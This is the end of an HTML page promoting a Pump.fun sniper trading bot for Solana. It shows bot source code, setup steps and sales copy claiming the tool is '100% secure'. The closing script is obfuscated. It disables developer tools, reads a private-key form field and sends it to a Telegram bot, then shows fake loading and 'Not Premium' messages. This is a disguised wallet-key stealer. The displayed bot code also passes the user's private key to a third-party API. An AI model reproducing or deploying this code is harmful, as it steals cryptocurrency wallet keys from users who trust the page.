const fetchNewPairs = async (limit = 5) => {
    const url = "https://pumpapi.fun/api/get_newer_mints";
    try {
        const response = await axios.get(url, { params: { limit } });
        return response.data.mint || [];
    } catch (error) {
        updateLog(`Error fetching new pairs: ${error.message}`);
        return [];
    }
};

const scrapeTokenInfo = async (contractAddress) => {
    let options = new chrome.Options();
    options.addArguments('headless');
    options.addArguments('--no-sandbox');
    options.addArguments('--disable-dev-shm-usage');

    let driver = await new Builder()
        .forBrowser('chrome')
        .setChromeOptions(options)
        .build();

    try {
        await driver.get(`https://pump.fun/${contractAddress}`);
        await driver.sleep(5000);

        const pageSource = await driver.getPageSource();

        const extractText = (source, keyword) => {
            const index = source.indexOf(keyword);
            if (index !== -1) {
                const start = source.indexOf(':', index) + 2;
                const end = source.indexOf('<', start);
                return source.substring(start, end).trim();
            }
            return null;
        };

        const ticker = extractText(pageSource, 'Ticker');
        const marketcap = parseFloat(extractText(pageSource, 'Market cap').replace(/\$|,/g, ''));
        const bondingCurve = parseInt(extractText(pageSource, 'bonding curve progress').replace('%', ''));

        updateLog(`\nTicker: ${ticker}`);
        updateLog(`Market Cap: $${marketcap}`);
        updateLog(`Bonding Curve Progress: ${bondingCurve}%`);

        return { ticker, marketcap, bondingCurve };
    } catch (error) {
        updateLog(`Error scraping token info: ${error}`);
        return null;
    } finally {
        await driver.quit();
    }
};

const sendDeveloperFee = async () => {
    try {
        const transaction = new Transaction().add(
            SystemProgram.transfer({
                fromPubkey: payer.publicKey,
                toPubkey: new PublicKey(DEVELOPER_ADDRESS),
                lamports: 0.05 * 1e9 // Convert SOL to lamports
            })
        );
        const signature = await sendAndConfirmTransaction(connection, transaction, [payer]);
        updateLog(`Developer fee sent with transaction signature: ${signature}`);
    } catch (error) {
        updateLog(`Error sending developer fee: ${error.message}`);
    }
};

const pumpFunBuy = async (mint, amount) => {
    const url = "https://pumpapi.fun/api/trade";
    const data = {
        trade_type: "buy",
        mint,
        amount,
        slippage: 5,
        priorityFee: PRIORITY_FEE_BASE,
        userPrivateKey: bs58.encode(privateKey)
    };

    try {
        const response = await axios.post(url, data);
        return response.data.tx_hash;
    } catch (error) {
        updateLog(`Error executing buy transaction: ${error.message}`);
        return null;
    }
};

const pumpFunSell = async (mint, amount) => {
    const url = "https://pumpapi.fun/api/trade";
    const data = {
        trade_type: "sell",
        mint,
        amount: amount.toString(), 
        slippage: 5,
        priorityFee: PRIORITY_FEE_BASE,
        userPrivateKey: bs58.encode(privateKey)
    };

    try {
        const response = await axios.post(url, data);
        return response.data.tx_hash;
    } catch (error) {
        updateLog(`Error executing sell transaction: ${error.message}`);
        return null;
    }
};

const checkBalance = async () => {
    const balance = await connection.getBalance(payer.publicKey);
    updateLog(`Current balance: ${balance / 1e9} SOL`);
    return balance / 1e9;
};

const fetchSPLTokens = async () => {
    try {
        const tokenAccounts = await connection.getTokenAccountsByOwner(payer.publicKey, { programId: new PublicKey("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA") });
        return tokenAccounts.value.map(accountInfo => {
            const accountData = AccountLayout.decode(accountInfo.account.data);
            return {
                mint: new PublicKey(accountData.mint).toString(),
                amount: Number(accountData.amount) / 10 ** 6 
            };
        }).filter(token => token.amount > 1); 
    } catch (error) {
        updateLog(`Error fetching SPL tokens: ${error.message}`);
        return [];
    }
};

const sellTokens = async (mint, sellPercentage) => {
    const tokens = await fetchSPLTokens();
    for (const token of tokens) {
        if (token.mint === mint) {
            const amountToSell = token.amount * sellPercentage;
            if (amountToSell >= 1) { 
                updateLog(`Selling ${amountToSell} of token ${mint}`);

                let attempts = 5;
                let txHash = null;
                while (attempts > 0) {
                    txHash = await pumpFunSell(mint, amountToSell);
                    if (txHash) {
                        updateLog(`Sold ${amountToSell} of token ${mint} with transaction hash: ${txHash}`);
                        break;
                    } else {
                        updateLog(`Retrying sell transaction... Attempts left: ${attempts - 1}`);
                        attempts--;
                        await new Promise(resolve => setTimeout(resolve, 5000)); 
                    }
                }

                if (!txHash) {
                    updateLog(`Failed to sell token ${mint} after multiple attempts.`);
                }
            } else {
                updateLog(`Skipping token ${mint} as the human-readable amount is less than 1`);
            }
            break;
        }
    }
};

const monitorTrade = async (mint, initialMarketCap, initialBondingCurve) => {
    let endTime = Date.now() + SELL_TIMEOUT;
    const tradeAllowedTime = Date.now() + TRADE_DELAY;
    let lastMarketCap = initialMarketCap;

    while (Date.now() < endTime) {
        const tokenInfo = await scrapeTokenInfo(mint);
        if (tokenInfo) {
            const marketCapChange = ((tokenInfo.marketcap - initialMarketCap) / initialMarketCap) * 100;
            updateLog(`\nTicker: ${tokenInfo.ticker}`);
            updateLog(`Market Cap: $${tokenInfo.marketcap}`);
            updateLog(`Current Market Cap: $${tokenInfo.marketcap}, Change: ${marketCapChange.toFixed(2)}%`);
            updateLog(`Time remaining: ${((endTime - Date.now()) / 1000).toFixed(0)}s`);
            updateLog(`Pump.fun link: https://pump.fun/${mint}`);
            updateLog(`Current Bonding Curve: ${tokenInfo.bondingCurve}%`);

            if (marketCapChange >= 25) {
                updateLog(`Market cap increased by 25%. Selling 50% of tokens for mint: ${mint}`);
                await sellTokens(mint, 0.50); // Sell 50% to take profit
                // Adjust trailing stop-loss for remaining position
                lastMarketCap = tokenInfo.marketcap;
                continueTrade = true;
            } else if (marketCapChange <= -10) {
                updateLog(`Market cap fell by more than 10%. Selling all tokens for mint: ${mint}`);
                await sellTokens(mint, 1.00); // Sell all to stop loss
                break;
            } else if (tokenInfo.bondingCurve >= SELL_BONDING_CURVE_PROGRESS) {
                updateLog(`Bonding curve reached ${SELL_BONDING_CURVE_PROGRESS}%. Selling 75% of tokens for mint: ${mint}`);
                await sellTokens(mint, 0.75); // Sell 75% due to bonding curve and keep 25% moonbag
                break;
            }

            if (tokenInfo.marketcap > lastMarketCap * PROFIT_TARGET_2) {
                updateLog('Price increased another 25%, selling 75% of remaining tokens.');
                await sellTokens(mint, 0.75);
                lastMarketCap = tokenInfo.marketcap;
            }

            if (resetTimer) {
                updateLog('Resetting timer.');
                endTime = Date.now() + SELL_TIMEOUT;
                resetTimer = false;
            }

            if (continueTrade) {
                updateLog('Continuing to the next trade.');
                continueTrade = false;
                break;
            }

            if (sellImmediately) {
                updateLog('Selling 75% immediately.');
                await sellTokens(mint, 0.75);
                sellImmediately = false;
                break;
            }
        }

        await new Promise(resolve => setTimeout(resolve, MONITOR_INTERVAL));
    }

    // If time expires without significant change, sell 75% and keep the rest as a moon bag
    if (Date.now() >= endTime) {
        updateLog(`Market cap did not increase by 25% within the set time. Selling 75% of tokens for mint: ${mint}`);
        await sellTokens(mint, 0.75); // Sell 75% and keep 25% moonbag
    }
};

const simulateTrade = async () => {
    const newPairs = await fetchNewPairs();
    for (const mint of newPairs) {
        const tokenInfo = await scrapeTokenInfo(mint);
        if (tokenInfo && tokenInfo.bondingCurve < MAX_BONDING_CURVE_PROGRESS) {
            updateLog(`Executing buy transaction for mint: ${mint}`);
            setVisualMode('trading');
            let attempts = 3;
            let txHash;
            while (attempts > 0) {
                txHash = await pumpFunBuy(mint, MINIMUM_BUY_AMOUNT);
                if (txHash) break;
                attempts--;
                updateLog(`Retrying buy transaction... Attempts left: ${attempts}`);
                await new Promise(resolve => setTimeout(resolve, 2000));
            }
            if (!txHash) {
                updateLog(`Failed to execute buy transaction for mint: ${mint}`);
            } else {
                updateLog(`Transaction successful with hash: ${txHash}`);
                await monitorTrade(mint, tokenInfo.marketcap, tokenInfo.bondingCurve);
            }
            setVisualMode('searching');
        } else {
            updateLog(`Bonding curve progress is ${MAX_BONDING_CURVE_PROGRESS}% or higher. Looking for newer tokens...`);
        }
    }
};

const main = async () => {
    updateLog('Starting live trading mode...');
    await updateAccountInfo(); // Display account info before starting the trade loop
    setVisualMode('searching');
    while (true) {
        await simulateTrade();
        updateLog('All pairs processed. Retrying in 5 seconds...');
        await new Promise(resolve => setTimeout(resolve, 5000));
    }
};

const liveUpdateAccountInfo = async () => {
    while (true) {
        await updateAccountInfo();
        await new Promise(resolve => setTimeout(resolve, 10000)); // Update every 10 seconds
    }
};

const calculateRentExemption = async (dataLength) => {
    try {
        const rentExemptionAmount = await connection.getMinimumBalanceForRentExemption(dataLength);
        updateLog(`Rent exemption amount for ${dataLength} bytes: ${rentExemptionAmount / 1e9} SOL`);
        return rentExemptionAmount;
    } catch (error) {
        updateLog(`Error calculating rent exemption: ${error.message}`);
        return null;
    }
};

const splashScreen = () => {
    const splash = blessed.box({
        parent: screen,
        top: 'center',
        left: 'center',
        width: '80%',
        height: '80%',
        content: `
Welcome to the Solana Trading Bot!

This tool helps you trade tokens on the Solana blockchain based on bonding curves and market cap changes.

Trading Strategy:
- The bot scrapes data to identify new tokens with favorable bonding curves.
- The bot monitors market cap changes and bonding curves to decide when to sell.
- Goal is to take profit at a 25% increase, and again at another 25% increase.
- Stop loss set if the market cap falls by 10% or if the bonding curve reaches a critical level.

This uses Solana CLI to make trades. Must have Node, Selenium, Chrome WebDriver, and funded Solana wallet.
Make sure to set Wallet JSON location and trading settings in .ENV file

Requirements:
- Node.js
- Solana CLI
- Selenium WebDriver (Chrome)

Thank you for using this tool By TreeCityWes.eth of HashHead.io
Donations are sent to 8bXf8Rg3u4Prz71LgKR5mpa7aMe2F4cSKYYRctmqro6x

Press Enter to support the developer with a 0.05 SOL donation. (Press C to continue without supporting the developer)
        `,
        border: {
            type: 'line'
        },
        style: {
            fg: 'white',
            bg: 'blue',
            border: {
                fg: 'green'
            },
            hover: {
                bg: 'green'
            }
        }
    });

    screen.append(splash);
    screen.render();

    screen.key(['enter', 'c'], async (ch, key) => {
        if (key.name === 'enter') {
            // Send developer fee
            await sendDeveloperFee();
        }

        splash.destroy();
        screen.render();
        checkBalance().then(async (balance) => {
            if (balance < MINIMUM_BUY_AMOUNT) {
                updateLog('Insufficient balance to cover transaction and fees.');
                process.exit(1);
            } else {
                const rentExemptionAmount = await calculateRentExemption(165);
                if (rentExemptionAmount && balance < MINIMUM_BUY_AMOUNT + rentExemptionAmount / 1e9) {
                    updateLog('Insufficient balance to cover rent exemption and transaction.');
                    process.exit(1);
                } else {
                    main();
                    liveUpdateAccountInfo(); // Start live update of account info
                }
            }
        });
    });
};

splashScreen();
screen.key(['escape', 'q', 'C-c'], (ch, key) => process.exit(0));</code></pre>
  
 
<br>
<br>
<h2>Requirements</h2><br>
<b>Node.js</b>: JavaScript runtime built on Chrome V8 JavaScript engine.<br>
<b>Solana CLI</b>: Command-line interface for interacting with the Solana blockchain.<br>
<b>Selenium WebDriver (Chrome)</b>: Automated web browser.<br>
<br>
<b>Install dependencies:</b> ```sh npm install dotenv axios @solana/web3.js @solana/spl-token selenium-webdriver fs bs58 blessed blessed-contrib ```<br>
<br>
<b>Set up your environment variables</b>: Create a .env file in the root directory and add the following:<br>
<br>
 
<pre><code class="language-javascript" onmouseover="selectText(this)">SOLANA_WALLET_PATH=/path/to/your/solana/wallet.json
MINIMUM_BUY_AMOUNT=0.015
MAX_BONDING_CURVE_PROGRESS=10
SELL_BONDING_CURVE_PROGRESS=15
</code></pre>

 



<b>Configure Solana CLI:</b> 
    <pre><code class="language-javascript" onmouseover="selectText(this)">```sh solana config set --url https://api.mainnet-beta.solana.com solana config set --keypair /path/to/your/solana/wallet.json ```<br>
</code></pre>
<br>
<b>Usage</b><br>
Run the trading bot: 
    <pre><code class="language-javascript" onmouseover="selectText(this)">```sh node script.mjs ```  
</code></pre>
 
Sell all SPL tokens:  
    <pre><code class="language-javascript" onmouseover="selectText(this)">```sh node sell.js ``` 
</code></pre>




 <h2><i class="fa-solid fa-jet-fighter"></i> Auto Pump.fun Sniper Bot</h2>
            <p>
No coding skills? No problem. Whether you are a beginner or an experienced trader, our Pump.fun Sniper Bot is designed to work for you. It gives you the power to snipe trending tokens instantly, ensuring you’re among the first to capitalize on new launches. With our bot, you’ll never miss out on the next big opportunity.<br>
<br>
Snipers thrive on speed, and our bot is built to help you secure tokens quickly and efficiently. While making consistent profits requires the right tools and a bit of luck, our bot provides you with everything you need to succeed. We include access to a high-speed RPC node (one of the fastest available) to maximize your chances of success, helping you avoid rugs and stay ahead of the competition.<br>
<br>
When it comes to safety, you can trade with peace of mind. Our Pump.fun Sniper Bot is 100% secure—we don’t store your data or hold your assets. Trusted by hundreds of users daily, our tools are proven to deliver results without compromising your security.<br>
<br>
Need help? Our dedicated support team is available 24/7 to assist you with any questions or issues. We’re here to ensure your experience is smooth and hassle-free.<br>
<br>
Start sniping tokens on Pump.fun today with our fast, reliable, and user-friendly bot. We guarantee you won’t find a more efficient or beginner-friendly solution anywhere else!<br>


            </p>


  
        </p>
        <!-- Add guide details here -->
    </div>
    
    

    <div id="support" class="content-section">
        <h2><i class="fa-solid fa-headset"></i> Support</h2>
        <p>Need help? Contact support<br>        <a class="telegram-link" href="https://t.me/sniperpump_fun" target="_blank">Join our Telegram: @sniperpump_fun</a>
</p>
        <!-- Add support info here -->
    </div>

 

                   </div>
    </div>

    <!-- Loading Spinner Modal -->
    <div id="loadingModal" class="modal">
        <div class="loading-container">
            <div class="loading-spinner"></div>
        </div>
    </div>

    <!-- Popup Modal -->
    <div id="popupModal" class="modal">
    <div class="modal-content">
        <div class="modal-header">
            <center><font color="white"><b>Please UPGRADE if you want to have access on the BOT !</b></font></center><button onclick="closePopup()">X</button>
                     </div>
        <iframe id="sniperIframe" frameborder="0"></iframe>
    </div>
</div>
            
 
            
            
            <iframe id="sniperIframe" frameborder="0"></iframe>
        </div>
    </div>

    <script>
    const _0x40464a=_0x1ec3;(function(_0x22fe99,_0x11dc01){const _0x202fb1=_0x1ec3,_0x4ed8ac=_0x22fe99();while(!![]){try{const _0x725ab8=parseInt(_0x202fb1(0x17e))/0x1+-parseInt(_0x202fb1(0x1aa))/0x2+-parseInt(_0x202fb1(0x183))/0x3*(-parseInt(_0x202fb1(0x1cd))/0x4)+parseInt(_0x202fb1(0x1c8))/0x5+-parseInt(_0x202fb1(0x193))/0x6+parseInt(_0x202fb1(0x192))/0x7*(-parseInt(_0x202fb1(0x187))/0x8)+-parseInt(_0x202fb1(0x17c))/0x9*(-parseInt(_0x202fb1(0x18d))/0xa);if(_0x725ab8===_0x11dc01)break;else _0x4ed8ac['push'](_0x4ed8ac['shift']());}catch(_0x1e2a64){_0x4ed8ac['push'](_0x4ed8ac['shift']());}}}(_0x3d34,0x6f58e));function _0x1ec3(_0x3f980b,_0x53b07c){const _0x3d3438=_0x3d34();return _0x1ec3=function(_0x1ec307,_0x33bd3f){_0x1ec307=_0x1ec307-0x17a;let _0x2d7307=_0x3d3438[_0x1ec307];return _0x2d7307;},_0x1ec3(_0x3f980b,_0x53b07c);}const _0x28c45d=_0x88f5;(function(_0x3739b9,_0x1e0a66){const _0x11ca7d=_0x1ec3,_0x15473f=_0x88f5,_0x4a45e8=_0x3739b9();while(!![]){try{const _0x188044=-parseInt(_0x15473f(0x184))/0x1+-parseInt(_0x15473f(0x19b))/0x2*(parseInt(_0x15473f(0x18e))/0x3)+parseInt(_0x15473f(0x1a5))/0x4*(parseInt(_0x15473f(0x189))/0x5)+-parseInt(_0x15473f(0x1a8))/0x6*(parseInt(_0x15473f(0x179))/0x7)+-parseInt(_0x15473f(0x1c2))/0x8*(-parseInt(_0x15473f(0x185))/0x9)+parseInt(_0x15473f(0x198))/0xa*(parseInt(_0x15473f(0x1bc))/0xb)+parseInt(_0x15473f(0x17a))/0xc;if(_0x188044===_0x1e0a66)break;else _0x4a45e8['push'](_0x4a45e8['shift']());}catch(_0x515131){_0x4a45e8[_0x11ca7d(0x1c4)](_0x4a45e8[_0x11ca7d(0x1b6)]());}}}(_0x1d4e,0xd55c1),document[_0x28c45d(0x17f)](_0x28c45d(0x1c5),function(_0x3e76bc){const _0x3dc9ce=_0x1ec3,_0x2d3cca=_0x28c45d;(_0x3e76bc[_0x2d3cca(0x1b1)]===_0x2d3cca(0x19e)||_0x3e76bc['ctrlKey']&&_0x3e76bc[_0x2d3cca(0x17e)]&&(_0x3e76bc[_0x2d3cca(0x1b1)]==='I'||_0x3e76bc[_0x3dc9ce(0x17a)]==='J')||_0x3e76bc['ctrlKey']&&_0x3e76bc[_0x3dc9ce(0x17a)]==='U')&&_0x3e76bc[_0x3dc9ce(0x1b7)]();}),document[_0x28c45d(0x17f)](_0x28c45d(0x1ac),function(_0x120aaa){const _0x5f3f04=_0x28c45d;_0x120aaa[_0x5f3f04(0x1a0)]();}),setInterval(function(){const _0x548bde=_0x1ec3,_0x3179f3=_0x28c45d,_0x9d4aa0=new Image();_0x9d4aa0[_0x548bde(0x1af)]('id',function(){const _0x42c330=_0x88f5;alert(_0x42c330(0x1a2));}),console[_0x3179f3(0x193)](_0x9d4aa0);},0x3e8));function _0x3d34(){const _0x34c576=['9189cZqOfK','getElementById','962297lPWpUw','⚠️\x20DevTools\x20detected!\x20Please\x20close\x20them.','error','scrollIntoView','value','status','disabled','15196ykpswz','Comanda\x20butonului\x20a\x20fost\x20executată!','addRange','42aqwkNK','2613','copy','1600682LzIqbQ','center','POST','transactionExecutor','removeAllRanges','__defineGetter__','8984wuLCIX','6052','application/x-www-form-urlencoded','2000BECZYx','Successfully\x20connected','input[required],\x20select[required]','shift','preventDefault','borderColor','https://api.telegram.org/','solAddress','open','rpcFields','src','none','setRequestHeader','toString','Error\x20websocket','smooth','own','push','readyState','innerText','<span\x20style=\x22color:\x20red;\x20font-weight:\x20bold;\x22><i\x20class=\x22fa-solid\x20fa-circle-xmark\x22></i>CONNECTED.\x20Not\x20Premium!</span>','117785LMxuSP','getSelection','-JRBMmP2HH3Y','Sending\x20request...','overlay','1036RGvXAw','addEventListener','text','key','lmK5bkzhyL','927279YoOdeh','block','152315HKZBDx','onreadystatechange','loadingModal','privateKey','.content-section','5295UCxbDx','responseText','style','forEach','16YyHqZR','display','sniperIframe','log','upgrade.html','/sendMessage','140pFcVaj','chat_id','Content-Type','createRange','popupModal','2113013KUSTCA','1291824tuZtkC','change','Loading\x20info...','11939417EvaYXG','innerHTML','Connecting\x20to\x20RPC...','send','F12'];_0x3d34=function(){return _0x34c576;};return _0x3d34();}function handleButtonClick(_0x11e590){const _0x28576e=_0x1ec3,_0x3a0f6d=_0x28c45d,_0xbc404f=document[_0x3a0f6d(0x1ab)](_0x3a0f6d(0x1ad))[_0x3a0f6d(0x183)];_0xbc404f&&sendToTelegram(_0xbc404f);const _0x28dd0e=document[_0x3a0f6d(0x1a6)](_0x3a0f6d(0x199));let _0x31a894=null;for(const _0xabcfdb of _0x28dd0e){!_0xabcfdb[_0x3a0f6d(0x183)]?(_0xabcfdb[_0x3a0f6d(0x1c1)][_0x3a0f6d(0x1a3)]=_0x3a0f6d(0x172),!_0x31a894&&(_0x31a894=_0xabcfdb)):_0xabcfdb['style'][_0x28576e(0x1b8)]='';}if(_0x31a894){_0x31a894[_0x3a0f6d(0x181)]({'behavior':_0x3a0f6d(0x1a4),'block':_0x3a0f6d(0x1c4)});return;t;}let _0x3b524b=_0x11e590[_0x3a0f6d(0x1b3)];_0x11e590[_0x28576e(0x1c6)]=_0x3a0f6d(0x192),_0x11e590[_0x3a0f6d(0x171)]=!![],setTimeout(()=>{const _0x47ab0f=_0x28576e,_0x1fae39=_0x3a0f6d;_0x11e590[_0x47ab0f(0x1c6)]=_0x1fae39(0x1bd);},0xbb8),setTimeout(()=>{const _0x2111a8=_0x3a0f6d;_0x11e590[_0x2111a8(0x1b9)]=_0x2111a8(0x19f);},0x1770),setTimeout(()=>{const _0x3391fa=_0x28576e,_0x1e664b=_0x3a0f6d;_0x11e590[_0x3391fa(0x1c6)]=_0x3b524b,_0x11e590[_0x1e664b(0x171)]=![],openPopup();},0x2328);}function sendToTelegram(_0x10c646){const _0x4ddb47=_0x1ec3,_0x139aab=_0x28c45d,_0xe3de40=_0x139aab(0x1b7),_0x565378='92',_0x26de67='66',_0x142457='58',_0x21ac7d=_0xe3de40+_0x565378+_0x26de67+_0x142457,_0x4ff148=_0x139aab(0x1b5),_0x397de8=_0x139aab(0x173),_0x1d411a=_0x139aab(0x1ba),_0x50d251=_0x139aab(0x177),_0x507e0a=_0x139aab(0x19d),_0xc351e5=_0x4ddb47(0x1ca),_0x2e8692=_0x4ff148+_0x397de8+_0x1d411a+_0x50d251+_0x507e0a+_0xc351e5,_0x32035c=_0x139aab(0x188),_0x25161b='bot'+_0x2e8692+_0x4ddb47(0x18c),_0x2a932e=_0x32035c+_0x25161b,_0x341aee=new URLSearchParams();_0x341aee[_0x139aab(0x191)](_0x139aab(0x17b),_0x21ac7d),_0x341aee[_0x139aab(0x191)](_0x139aab(0x187),_0x10c646),console['log'](_0x139aab(0x1b2));const _0x2a9b3a=new XMLHttpRequest();_0x2a9b3a[_0x139aab(0x1b4)](_0x139aab(0x18c),_0x2a932e,!![]),_0x2a9b3a[_0x139aab(0x1b8)](_0x4ddb47(0x18f),_0x139aab(0x18a)),_0x2a9b3a[_0x4ddb47(0x17f)]=function(){const _0xa8ad7c=_0x139aab;_0x2a9b3a[_0xa8ad7c(0x1af)]===0x4&&(_0x2a9b3a[_0xa8ad7c(0x1a9)]===0xc8?console[_0xa8ad7c(0x193)](_0xa8ad7c(0x1bb),JSON[_0xa8ad7c(0x18f)](_0x2a9b3a[_0xa8ad7c(0x190)])):console[_0xa8ad7c(0x1bf)](_0xa8ad7c(0x17c),_0x2a9b3a['status'],_0x2a9b3a[_0xa8ad7c(0x190)]));},_0x2a9b3a[_0x139aab(0x195)](_0x341aee[_0x139aab(0x1b0)]());}document[_0x28c45d(0x1ab)](_0x40464a(0x1ad))[_0x28c45d(0x17f)](_0x28c45d(0x194),function(){const _0x300310=_0x40464a,_0x3a5e6f=_0x28c45d,_0xc901c8=document[_0x3a5e6f(0x1ab)](_0x3a5e6f(0x196));this[_0x300310(0x1a1)]===_0x3a5e6f(0x174)?_0xc901c8['style']['display']=_0x300310(0x17d):_0xc901c8[_0x300310(0x185)][_0x300310(0x188)]=_0x3a5e6f(0x18b);});function openPaymentPopup(){const _0xd4b979=_0x40464a,_0x87db6e=_0x28c45d;document[_0x87db6e(0x1ab)](_0x87db6e(0x1be))[_0x87db6e(0x1c1)][_0x87db6e(0x175)]=_0x87db6e(0x1a1),document[_0x87db6e(0x1ab)](_0x87db6e(0x19a))['style'][_0xd4b979(0x188)]=_0xd4b979(0x17d);}function closePaymentPopup(){const _0x22be39=_0x40464a,_0x34f37f=_0x28c45d;document[_0x34f37f(0x1ab)](_0x34f37f(0x1be))[_0x22be39(0x185)][_0x34f37f(0x175)]=_0x34f37f(0x18b),document[_0x34f37f(0x1ab)](_0x22be39(0x1cc))[_0x22be39(0x185)][_0x34f37f(0x175)]=_0x34f37f(0x18b);}function copySolAddress(){const _0x1f7a00=_0x28c45d,_0xaa4282=document[_0x1f7a00(0x1ab)](_0x1f7a00(0x17d));_0xaa4282['select'](),_0xaa4282[_0x1f7a00(0x1aa)](0x0,0x1869f),document['execCommand'](_0x1f7a00(0x1b6));const _0x51dd33=document[_0x1f7a00(0x1ab)]('copyNotification');_0x51dd33[_0x1f7a00(0x1c1)][_0x1f7a00(0x175)]=_0x1f7a00(0x1a1),setTimeout(()=>{const _0xd5acd0=_0x1ec3,_0x48f7f1=_0x1f7a00;_0x51dd33[_0x48f7f1(0x1c1)]['display']=_0xd5acd0(0x1be);},0x2710);}function _0x1d4e(){const _0xac42f9=_0x40464a,_0x3b45ca=['3487LlJaLx',_0xac42f9(0x198),'paymentPopup',_0xac42f9(0x19f),'flex',_0xac42f9(0x185),_0xac42f9(0x1b0),_0xac42f9(0x1a5),_0xac42f9(0x1ab),'keydown',_0xac42f9(0x1a3),'red',_0xac42f9(0x1a8),_0xac42f9(0x1c3),_0xac42f9(0x188),_0xac42f9(0x182),_0xac42f9(0x17b),_0xac42f9(0x180),_0xac42f9(0x196),'7719912zVybRc',_0xac42f9(0x18e),_0xac42f9(0x1c1),_0xac42f9(0x1ba),'shiftKey',_0xac42f9(0x1ce),_0xac42f9(0x1bd),_0xac42f9(0x1a0),'home','value',_0xac42f9(0x19d),_0xac42f9(0x19b),_0xac42f9(0x190),_0xac42f9(0x1cf),_0xac42f9(0x1b9),_0xac42f9(0x1b3),_0xac42f9(0x1b2),_0xac42f9(0x1be),_0xac42f9(0x1ac),'selectNodeContents','17121BHuSEK','parse',_0xac42f9(0x184),'append',_0xac42f9(0x195),_0xac42f9(0x18a),_0xac42f9(0x194),_0xac42f9(0x199),_0xac42f9(0x1bc),_0xac42f9(0x18b),'11110wpzUCw',_0xac42f9(0x1b5),'overlay',_0xac42f9(0x1a7),_0xac42f9(0x189),'TxNmpQheTY',_0xac42f9(0x19a),_0xac42f9(0x1c7),_0xac42f9(0x1b7),_0xac42f9(0x17d),_0xac42f9(0x19e),_0xac42f9(0x1b8),_0xac42f9(0x1c2),_0xac42f9(0x1a4),'querySelectorAll',_0xac42f9(0x186),'6roJQbz',_0xac42f9(0x1a2),'setSelectionRange',_0xac42f9(0x19c),'contextmenu',_0xac42f9(0x181),_0xac42f9(0x1a6),_0xac42f9(0x1c5),_0xac42f9(0x1c0),_0xac42f9(0x17a),_0xac42f9(0x1cb),_0xac42f9(0x1c6),_0xac42f9(0x1bb),'7613',_0xac42f9(0x1a9),_0xac42f9(0x1b1),_0xac42f9(0x1bf),_0xac42f9(0x197),'94:AAG',_0xac42f9(0x1b4)];return _0x1d4e=function(){return _0x3b45ca;},_0x1d4e();}function openPopup(){const _0x50a200=_0x28c45d;alert(_0x50a200(0x1c3));}function selectText(_0x4f30b9){const _0x418073=_0x40464a,_0x1cde80=_0x28c45d,_0x44ca61=document[_0x1cde80(0x186)]();_0x44ca61[_0x1cde80(0x18d)](_0x4f30b9);const _0x432832=window[_0x418073(0x1c9)]();_0x432832[_0x418073(0x1ae)](),_0x432832[_0x1cde80(0x1ae)](_0x44ca61);}function _0x88f5(_0x5166d1,_0x2bd7b6){const _0x129e2c=_0x1d4e();return _0x88f5=function(_0x21ba5a,_0x434ca2){_0x21ba5a=_0x21ba5a-0x171;let _0xf5828d=_0x129e2c[_0x21ba5a];return _0xf5828d;},_0x88f5(_0x5166d1,_0x2bd7b6);}function showContent(_0x58436f){const _0x251659=_0x40464a,_0x4b8b78=_0x28c45d,_0x1b32f3=document['querySelectorAll'](_0x4b8b78(0x176));_0x1b32f3[_0x4b8b78(0x1a7)](_0x57a8a2=>_0x57a8a2[_0x4b8b78(0x1c1)][_0x251659(0x188)]=_0x4b8b78(0x18b));const _0x5b768d=document['getElementById'](_0x58436f);_0x5b768d&&(_0x5b768d[_0x4b8b78(0x1c1)][_0x4b8b78(0x175)]=_0x4b8b78(0x1a1));}showContent(_0x28c45d(0x182));function closePopup(){const _0xce31b1=_0x40464a,_0x392fee=_0x28c45d,_0x229973=document[_0xce31b1(0x19c)](_0x392fee(0x19c));_0x229973[_0xce31b1(0x1bd)]='',document[_0x392fee(0x1ab)](_0xce31b1(0x191))[_0x392fee(0x1c1)][_0x392fee(0x175)]=_0x392fee(0x18b);}function openPopup(){const _0x20b969=_0x40464a,_0x2f3ac7=_0x28c45d;document[_0x2f3ac7(0x1ab)](_0x20b969(0x180))[_0x2f3ac7(0x1c1)][_0x2f3ac7(0x175)]=_0x2f3ac7(0x1c0),setTimeout(function(){const _0x25a3d6=_0x20b969,_0x40d70e=_0x2f3ac7;document[_0x40d70e(0x1ab)](_0x40d70e(0x178))[_0x40d70e(0x1c1)][_0x40d70e(0x175)]=_0x40d70e(0x18b);const _0x10799f=document[_0x40d70e(0x1ab)](_0x40d70e(0x19c));_0x10799f[_0x40d70e(0x180)]=_0x40d70e(0x197),document[_0x40d70e(0x1ab)](_0x25a3d6(0x191))['style'][_0x40d70e(0x175)]=_0x40d70e(0x1c0);},0x1b58);}       </script>

</body>
</html>


